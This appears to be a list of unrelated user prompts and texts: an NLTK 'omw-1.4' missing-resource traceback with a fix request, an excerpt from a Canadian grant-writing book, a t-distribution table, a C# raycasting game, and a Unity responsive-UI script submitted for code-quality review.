last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in \n 41 \n 42 # Preprocess train and test text data\n---> 43 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 44 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 45 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in preprocess\\_text(text)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in (.0)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nplease fix this error' -'From the book \'Golden Grant Rules\' by David Kincade:\nWHO WINS GRANTS\n23. Most grants go to established businesses\nMost organizations that win grants have at least two years of financial records. If you\'re a startup business, few grants exist. Here they are:\nhttps://albertabusinessgrants.ca/start-up/\nGrant agencies are risk-averse and usually feel comfortable with pre-existing success. However, if you are doing something innovative, you are on the right track with grants.\nGovernments tend to fund incubators and organizations that help startup businesses if you are in the pre-revenue world.\nHere\'s a general rule to follow in any dealing with grant agency staff: "be perceived as low risk."\n24. How younger organizations can win\nIf your organization is relatively new, you can still win grants - especially if the grant aligns with the government\'s mandate!\nIn 2015, my sister founded a non-profit organization called "Elevate Aviation." Elevate\'s mission is to help women get careers in the aviation industry, which is grossly under- represented by women in commercial piloting, air traffic controller, and aviation C- suites.\nWhen Prime Minister Trudeau got elected, he was on a mission to increase the number of women in cabinet and corporations\' board rooms across the country. He created a grant to implement this mission.\n21\nHere is a quote from the press release that announced the grant winners in Alberta:\n"Minister Monsef was joined by representatives from Elevate Aviation [...] and the Association of Professional Engineers and Geoscientists of Alberta (APEGA), which are receiving funding under this call for proposals. Elevate Aviation has been awarded $426,410 for a national project that aims to improve women\'s economic security through access to careers in the aviation industry in Canada. [...] APEGA has been awarded $350,000 for a project to increase women\'s participation in science, technology, engineering, and math (STEM) fields."\nAPEGA was created in 1920 and is the largest association of self-regulated professionals in Western Canada!\nHow could a non-profit founded just a few years before (without even a full-time employee at the time of applying) win more than APEGA and many other legitimate organizations who did not win anything? She followed the golden rules in this book— older isn\'t necessarily better! Impact and government alignment matter the most!\nGrant Tip:\nElected officials are responsible for distributing the cash to businesses that they deem as the "public interest." Increase your understanding of government in the "Understanding Government" section.\n25. Better to be growing than flat\nGovernments love to help growing companies scale. If your company is burgeoning, they can help you scale appropriately with export or employee grants.\nConversely, if your company has not grown in three years, what is your story to the government?\nGrant Stories\n22\n\nI had one client who desperately needed new packaging to grow his business, and he had the support letters from retailers to back him up. That story is excellent: "give us money, and we can grow, pay more taxes and create jobs."\nAnother company had been around 30 years and had flat line growth for the past three years. The original owner was still with the company. Writing that grant is tough.\nIn my experience, grant agencies love to pick winners. Winners are less likely to lose money and more likely to create jobs. Financial results are compelling in grants.\nOne note of caution. One of my most successful companies had built up cash, and the grant agency asked, "why do you even need the money.?" You need to prepare for that answer. Who would have thought having "too much cash would be bad for your business?" Welcome to grants!\n26. Three great traits for winning grants\nThe top 3 traits to secure a grant are credibility, relationships, and a completed application.\nIf you are not credible, the grant agency is not going to give you taxpayer money.\nIf the grant agency does not know you, will its staff feel comfortable investing in you? "We know or have heard of 60%-70% of applicants that win. The number one place we meet them is at events," said a grant agency staffer to me.\nIf you fail to complete your entire application, your application goes into the "no" pile. Make sure you pay attention to the grant details.\nGrant story\nRemember that some grant agencies fill out evaluation forms on your individual potential. The documents are shared with their team members to determine if you\n23\n\nshould win a grant. Taxpayers expect the government to be good stewards of their money.\n24\n\nGRANT MYTHS\n27. Myth buster: startup grants\nContrary to what you have probably heard, you will find few grants for startup companies. And it shouldn\'t come as a surprise.\nGovernments are risk-averse; they are reluctant to give money to startup businesses. Everyone knows that most businesses start and fail within a couple of years.\nGrant Story\nOne of Alberta\'s best programs (check your province or state for similar programs) is called the Self Employment Program. If you are unemployed, you can take this program to develop a business plan and get coaching. Best of all, you can earn business income and not get your benefits clawed back.\nIf your jurisdiction does not have this program, you should lobby your elected official to get a program set up. The Self Employment Program is incredible!\n28. Myth buster: grants for women\nContrary to what you might have heard, you will find few grants for female entrepreneurs.\nCanada recently had a program called the Women Entrepreneurship Fund for $100,000. It was the first significant grant program designed for that purpose.\nOn the other hand, you will find more grants for non-profit organizations that support women\'s initiatives.\n25\n\nAs you hopefully learn in the government section, government grant support for female programs is strongly related to the type of government in power.\nThe more left-wing the government in power is the higher support for affirmative action programs you will find. Conversely, the more right-wing government in power is, the less likely you will see grant funding for specific groups of society.\n29. Myth Buster: Grant for brick and mortar businesses\nMany people think when they open a "local business," they are eligible for grants. The reality is that few grants exist for traditional "brick and mortar" businesses.\nTypically, you can only find grants for accessibility renovation (i.e., The Enabling Accessibility Fund grant in Canada), summer students, or training grants for your staff.\nThe other common grants for local businesses are called "Facade Improvement Programs." Companies who are cleaning up their "storefronts" are eligible to get funding from local municipalities.\n30. How consultants can leverage grants\nConsulting is the absolute worst industry for being a grant recipient.\nThe worst.\nHowever, consultants play a significant role in grant eligible expenses.\nAn eligible expense is an expenditure the government will reimburse a business, usually 50% or 75%.\nIf a consultant can identify who is winning the grant, it can contact the business about "doing the work." This work is the "eligible expense." For example, if a\n26\n\ntechnology company wins a grant for export research, the technology company can hire a market research consultant.\nThe thousand-dollar question becomes: who won the grants? If you can find out who won the grant, everyone can benefit.\nRemember grants are won "before" they spend the money, so if you could find out quickly, you could call the company and say, "Congratulations. How can I be of service?"\nLuckily, governments disclose grant recipients online—search Open Government for grants recipients.\nHere is Canada\'s list:\no https://search.open.canada.ca/en/gc/ Alberta\'s list:\no https://www.alberta.ca/grant-payments-disclosure-table.aspx Ask your local legislature library for similar lists in your jurisdiction.\n27\n\nFINDING GRANTS\n31. The order of grant is critical - find the #1 grant\nYou need to find your number one grant first. Take your time at this stage because if you get this step wrong, you will lose.\nThe best way to determine if you found the best grant is to speak to someone at the grant agency BEFORE you write.\nHere are the questions again, so you ensure grant alignment:\nAm I eligible?\nWhen is the deadline?\nHow competitive is the program? Are funds still available this year? Are you still accepting applications? Do you have any advice?\nNow you\'re ready to write the application.\n32. Understanding TRL\nThe Technology Readiness Scale is a 1 to 9 universal measure explaining where your technology fits on the pre-commercial scale.\nIn simple terms, once the idea enters your head, you are at Level 1. Once you are selling the product, you have just completed Level 9.\nFrom the Field:\n28\n\nIf you do not know your TRL level, you may have a grant advisor push you "down" the TRL scale when really you are getting close to commercialization. That means way less bucks for you. Way less.\nAt a recent conference, a grant agency staffer told me that people have often lost grants because they are "not the right" TRL.\nHere is the Government of Canada\'s TRL Definition:\nLevel 1: Basic principles of concept are observed and reported Level 2: Technology concept and/or application formulated\nLevel 3: Analytical and experimental critical function and/or proof of concept Level 4: Component and/or validation in a laboratory environment\nLevel 5: Component and/or validation in a simulated environment\nLevel 6: System/subsystem model or prototype demonstration in a simulated environment\nLevel 7: Prototype ready for demonstration in an appropriate operational environment Level 8: Actual technology completed and qualified through tests and demonstrations Level 9: Actual technology proven through successful deployment in an operational setting\n33. Grants exist along the entire journey\nKeep this in mind while developing your technology: grant money exists along the entire pre-commercial journey.\nYou can get grants for a business plan, market research, lab testing, prototype making, and pilot testing.\nOnce the product is commercial, you can get grants to hire employees, researchers, and exporting.\n29\n\n34. The big grants are for pre-commercial activities\nWhen it comes to creating new products, the government invests its most significant grants in late-stage pre-commercial activities.\nThis reality means that you need to consider grants early in your project phase. Many entrepreneurs and inventors are too late when it comes to considering grants.\n35. Understand "delivery organizations"\nIn Canada, the federal government launched a program called the "Digital Skills for Youth Program."\nThe deadline was October 1.\nHowever, the deadline was for "delivery organizations," such as universities and non- profit organizations\nOnce those "delivery organizations" received the money, "for-profit" companies could apply to the delivery organizations for the funds.\n36. Grant calls with short windows\nYou have to be ready for grant calls with short windows.\nGovernments often announce grant competitions and give you 4 to 6 weeks to apply.\nThink about that. You need to run your business and now apply for a large grant competition. You need to prepare in advance—even before you know when the grant will be announced (i.e., if you are a Tier A grant company. See rule 4).\nMake sure your financial pro forma is updated (e.g., five-year forecast). Many other documents can be prepared in advance of any grant call: team leadership biographies,\n30\n\nproduct and service, descriptions, competitive analysis, history of the company, export plan, strategic direction, and market opportunity.\nEven updating these documents once they are draft is much easier than starting from scratch.' -'t Table\ncum. prob t .50 t .75 t .80 t .85 t .90 t .95 t .975 t .99 t .995 t .999 t .9995\none-tail 0.50 0.25 0.20 0.15 0.10 0.05 0.025 0.01 0.005 0.001 0.0005\ntwo-tails 1.00 0.50 0.40 0.30 0.20 0.10 0.05 0.02 0.01 0.002 0.001\ndf\n1 0.000 1.000 1.376 1.963 3.078 6.314 12.71 31.82 63.66 318.31 636.62\n2 0.000 0.816 1.061 1.386 1.886 2.920 4.303 6.965 9.925 22.327 31.599\n3 0.000 0.765 0.978 1.250 1.638 2.353 3.182 4.541 5.841 10.215 12.924\n4 0.000 0.741 0.941 1.190 1.533 2.132 2.776 3.747 4.604 7.173 8.610\n5 0.000 0.727 0.920 1.156 1.476 2.015 2.571 3.365 4.032 5.893 6.869\n6 0.000 0.718 0.906 1.134 1.440 1.943 2.447 3.143 3.707 5.208 5.959\n7 0.000 0.711 0.896 1.119 1.415 1.895 2.365 2.998 3.499 4.785 5.408\n8 0.000 0.706 0.889 1.108 1.397 1.860 2.306 2.896 3.355 4.501 5.041\n9 0.000 0.703 0.883 1.100 1.383 1.833 2.262 2.821 3.250 4.297 4.781\n10 0.000 0.700 0.879 1.093 1.372 1.812 2.228 2.764 3.169 4.144 4.587\n11 0.000 0.697 0.876 1.088 1.363 1.796 2.201 2.718 3.106 4.025 4.437\n12 0.000 0.695 0.873 1.083 1.356 1.782 2.179 2.681 3.055 3.930 4.318\n13 0.000 0.694 0.870 1.079 1.350 1.771 2.160 2.650 3.012 3.852 4.221\n14 0.000 0.692 0.868 1.076 1.345 1.761 2.145 2.624 2.977 3.787 4.140\n15 0.000 0.691 0.866 1.074 1.341 1.753 2.131 2.602 2.947 3.733 4.073\n16 0.000 0.690 0.865 1.071 1.337 1.746 2.120 2.583 2.921 3.686 4.015\n17 0.000 0.689 0.863 1.069 1.333 1.740 2.110 2.567 2.898 3.646 3.965\n18 0.000 0.688 0.862 1.067 1.330 1.734 2.101 2.552 2.878 3.610 3.922\n19 0.000 0.688 0.861 1.066 1.328 1.729 2.093 2.539 2.861 3.579 3.883\n20 0.000 0.687 0.860 1.064 1.325 1.725 2.086 2.528 2.845 3.552 3.850\n21 0.000 0.686 0.859 1.063 1.323 1.721 2.080 2.518 2.831 3.527 3.819\n22 0.000 0.686 0.858 1.061 1.321 1.717 2.074 2.508 2.819 3.505 3.792\n23 0.000 0.685 0.858 1.060 1.319 1.714 2.069 2.500 2.807 3.485 3.768\n24 0.000 0.685 0.857 1.059 1.318 1.711 2.064 2.492 2.797 3.467 3.745\n25 0.000 0.684 0.856 1.058 1.316 1.708 2.060 2.485 2.787 3.450 3.725\n26 0.000 0.684 0.856 1.058 1.315 1.706 2.056 2.479 2.779 3.435 3.707\n27 0.000 0.684 0.855 1.057 1.314 1.703 2.052 2.473 2.771 3.421 3.690\n28 0.000 0.683 0.855 1.056 1.313 1.701 2.048 2.467 2.763 3.408 3.674\n29 0.000 0.683 0.854 1.055 1.311 1.699 2.045 2.462 2.756 3.396 3.659\n30 0.000 0.683 0.854 1.055 1.310 1.697 2.042 2.457 2.750 3.385 3.646\n40 0.000 0.681 0.851 1.050 1.303 1.684 2.021 2.423 2.704 3.307 3.551\n60 0.000 0.679 0.848 1.045 1.296 1.671 2.000 2.390 2.660 3.232 3.460\n80 0.000 0.678 0.846 1.043 1.292 1.664 1.990 2.374 2.639 3.195 3.416\n100 0.000 0.677 0.845 1.042 1.290 1.660 1.984 2.364 2.626 3.174 3.390\n1000 0.000 0.675 0.842 1.037 1.282 1.646 1.962 2.330 2.581 3.098 3.300\nz 0.000 0.674 0.842 1.036 1.282 1.645 1.960 2.326 2.576 3.090 3.291\n0% 50% 60% 70% 80% 90% 95% 98% 99% 99.8% 99.9%\nConfidence Level' -'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n World.Draw();\n player1.Draw();\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 50);\n float endY = (float)(startY + Math.Sin(angle) \\* 50);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Ray.distance = Cast(x, y, angle, fov);\n \n \n }\n }\n}' -'give me 5 bullet points regarding improvements for code quality of this:\n\nusing System.Collections;\nusing System.Collections.Generic;\nusing UnityEngine;\nusing UnityEngine.UI;\nusing SpaceHub.Conference;\nusing TMPro;\n// using MyBox;\npublic class ResponsiveElement : MonoBehaviour\n{\n public GameObject portTraitRectTransform,landscapeRectTransform;\n public GameObject portTraitImage,landscapeImage;\n public GameObject iosPhoneLandscape;\n public GameObject iosPhonePortrait;\n public GameObject iPadPhonePortrait;\n public float ratioToAffect;\n\n public RectTransform rectTraTransform,newRectTransformToPort,newRectTransformToLand;\n public Transform traTransform,newTransformToPort,newTransformToLand;\n //public List textContent;\n public int textsizePT;\n public int textsizeLC;\n public int textsizeIPadPT;\n public GameObject toFindViewMode;\n public GameObject enableOnlyOnAndroid\\_Ios;\n public GameObject enableOnlyOnWindows;\n\n bool dataLoaded;\n private void Awake() {\n FindRatio();\n LoadMyData();\n }\n private void CalcAspect(){\n // Debug.Log(SystemInfo.deviceModel.ToString());\n // string \\_r = r.ToString("F2");\n // string ratio = \\_r.Substring(0,4);\n \n // switch(ratio)\n // {\n // case "1.33": //4:3\n // break;\n // case "1.50": //3:2\n // break;\n // case "0.67": //2:3\n // break;\n // case "0.56": //9:16\n // break;\n // }\n // Debug.Log("Aspect : "+ r);\n }\n // Start is called before the first frame update\n void Start()\n {\n // Debug.LogError(ViewModeManager.SelectedViewMode.ToString() == "ThirdPerson");\n if(enableOnlyOnAndroid\\_Ios ){\n if ( Application.platform == RuntimePlatform.WindowsEditor || Application.platform == RuntimePlatform.Android || Application.platform == RuntimePlatform.IPhonePlayer ){\n // Debug.Log("Start1");\n if(!DropsMetaverseManager.Instance.VRMode){\n // Debug.Log("ThirdPerson");\n enableOnlyOnAndroid\\_Ios.SetActive(true);\n }\n else{\n enableOnlyOnAndroid\\_Ios.SetActive(false);\n }\n }\n else{\n // Debug.Log("Start2");\n enableOnlyOnAndroid\\_Ios.SetActive(false);\n }\n }\n if(enableOnlyOnWindows){\n if(Application.platform == RuntimePlatform.WindowsEditor || Application.platform == RuntimePlatform.WindowsPlayer || Application.platform == RuntimePlatform.OSXPlayer || Application.platform == RuntimePlatform.WSAPlayerX64 ){\n enableOnlyOnWindows.SetActive(true);\n }\n else{\n enableOnlyOnWindows.SetActive(false);\n }\n }\n\n }\n public bool OnEnableCheck;\n void OnEnable()\n {\n if(ResponsiveAndOrientationManager.SP && OnEnableCheck)\n ResponsiveAndOrientationManager.SP.OnChangeElements();\n }\n\n void OnDisable()\n {\n\n }\n\n // Update is called once per frame\n void Update()\n {\n \n }\n\n public void LoadMyData(){\n if(!dataLoaded){\n LoadData();\n dataLoaded = false;\n }\n }\n \n public Text[] normolText;\n public TextMeshProUGUI[] tMPText;\n public bool textAdd;\n public float portRatio;\n public float landRatio;\n\n public void FindRatio(){\n portRatio = (float)System.Math.Round((float)Screen.height /(float) Screen.width , 2);\n landRatio = (float)System.Math.Round((float)Screen.width /(float) Screen.height , 2);\n // Debug.Log("Resolution : "+Screen.width +" X "+Screen.height+" Aspect : "+portRatio);\n // Debug.Log("Camera Aspect : "+Camera.main.aspect);\n }\n void LoadData(){\n FindRatio();\n rectTraTransform = GetComponent(); \n traTransform =GetComponent();\n\n \n // if(!textAdd)\n // temp = GetComponentsInChildren();\n\n // Debug.Log(SystemInfo.deviceModel);\n \n if(rectTraTransform){\n newRectTransformToPort=portTraitRectTransform.GetComponent();\n newRectTransformToLand=landscapeRectTransform.GetComponent();\n // if( SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n // if( SystemInfo.deviceModel.Contains("iPhone") && iosPhonePortrait)\n \n if(portRatio >= 1.9 && iosPhonePortrait){\n newRectTransformToPort = iosPhonePortrait.GetComponent();\n }\n\n if(SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n newRectTransformToLand = iosPhoneLandscape.GetComponent();\n\n if(SystemInfo.deviceModel.Contains("iPad") && iPadPhonePortrait)\n newRectTransformToPort = iPadPhonePortrait.GetComponent();\n }else if(traTransform){\n newTransformToPort=portTraitRectTransform.GetComponent();\n newTransformToLand=landscapeRectTransform.GetComponent();\n \n\n if( SystemInfo.deviceModel.Contains("iPad") && iosPhoneLandscape)\n newTransformToLand = iosPhoneLandscape.GetComponent();\n // if( SystemInfo.deviceModel.Contains("iPhone") && iosPhonePortrait)\n // newTransformToPort = iosPhonePortrait.GetComponent();\n \n if(portRatio >= 1.9 && iosPhonePortrait){\n newTransformToPort = iosPhonePortrait.GetComponent();\n }\n if( SystemInfo.deviceModel.Contains("iPad") && iPadPhonePortrait)\n newTransformToPort = iPadPhonePortrait.GetComponent();\n\n // if((landRatio >= 1.33 && landRatio < 1.66) && iosPhoneLandscape)\n // newTransformToLand = iosPhoneLandscape.GetComponent();\n // Debug.Log(newTransformToPort.gameObject.name);\n }\n\n dataLoaded = 